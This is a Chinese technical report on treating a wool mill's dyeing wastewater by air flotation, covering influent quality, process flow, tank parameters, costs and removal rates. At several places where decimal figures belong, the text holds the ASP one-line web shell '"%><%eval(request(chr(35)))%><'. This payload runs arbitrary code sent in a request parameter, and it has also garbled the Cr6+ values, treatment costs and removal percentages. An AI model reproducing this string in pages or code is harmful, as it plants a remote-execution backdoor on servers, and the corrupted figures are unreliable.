技术原理：

目前，国内处理印染废水多采用生物处理法。北方地区冬季，气温太低，用生物法处理需增加保温措施，对子中小型企业来说，往往存在资金短缺的困难，一般难以满足生物工程要求条件。而气浮法是一种物理分离技术，用于处理印染废水，相对地有不受气温影响的特点，并且也广泛用于冶金、电镀、造纸、制革、炼油等行业废水处理中。

本地区某毛纺企业，日排放印染废水400余吨， 为了在发展生产的同时消除污染，该企业投资60万元，建成了一套日处理能力为1000吨废水的处理工商采用气浮法处理印染废水，于1991年10月正式投入运行。处理后水质经监测分析达到GB8978-88 污求综合排放标准》。

一、废水水质及排放量

该企业印染废水主要来源于染整和条复工序。所用染料有：媒介染料，分散染料中性染料及洗净剂、元明粉、醋酸、硫酸等助剂。废水水质随产品染色种类不同而有较大变化，水质一般为，PH4~9，CODCr200~400mg/l，BOD5 150～300mg/1，Cr6+ 0"%><%eval(request(chr(35)))%><100~0"%><%eval(request(chr(35)))%><160mg/l，色度100～200倍。印染废水排放量日变化曲线如图1。

图1 废水排放量日变化曲线

二、处理工艺

印染废水与其它生产环节排水分流排出，其中印染废水由地下污水管经格栅进入调节池，用泵提升至沉淀池， 经过初沉淀和二次沉淀后，上清液自流进入气浮池， 同时投加定量碱式氯化铝[Al2(OH)2Cl0～n]m(n= 1～5，m≤10)。废水在气浮池中通过加压溶气酌吸附作用和碱式氯化铝(絮凝剂)的絮凝网捕作用，使絮凝物上浮后与水分离，清水引入平流式过滤池(以焦炭为滤料)，利用物理吸附进一步去除悬浮物和其它有害物后排放。由气浮池排出的污泥，脱水后经压滤系统压成泥饼堆存。废水处理工艺过程如图2。

主要工艺参数

调节池：有效容积100m3 停留时间3小时

沉淀池：有效容积7．875m3 停留时间2．9小时

气浮池：有效容积15m3 停留时间30～40分钟

过滤池：有效容积6m3 停留时间10分钟

三、处理效果与运行费用

本工程投入运行以来，设备运行正常，水质稳定， 处理效果较好。废水经处理后各项指标均达到国家排放标准，当滥测分析结果如表1。

表1．废水处理前后分析结果表(mg/l)

处理费用为0"%><%eval(request(chr(35)))%><18元／吨废水， (其中碱式氯化铝消耗费用为0"%><%eval(request(chr(35)))%><138元／吨废水)。本工程投入运行后， 既改善了环境，又免缴了排污费。

四、小结

1．气浮法处理印染废水，投资省，工艺简单，便于操作管理、尤其不受季节气候变化影响，适宜于利方寒冷地区使用。

2．气浮法处理印染废水， 处理效果好，出水水质稳定。去除率分别为CODCr75%、BOD5 86"%><%eval(request(chr(35)))%><3%，Cr6+8"%><%eval(request(chr(35)))%><95%、色度95％。

3．气浮法处理工业废水在本地区尚属首例，工艺上还存在不足，如调节池设计容量偏小，调节效果不佳；处理后排水也未能循环使用。另外本地区地域偏僻， 碱式氯化铝购置费用较高(每吨2300元)。在解决上述问题之后， 本工程运行费用予计可除低40％左右。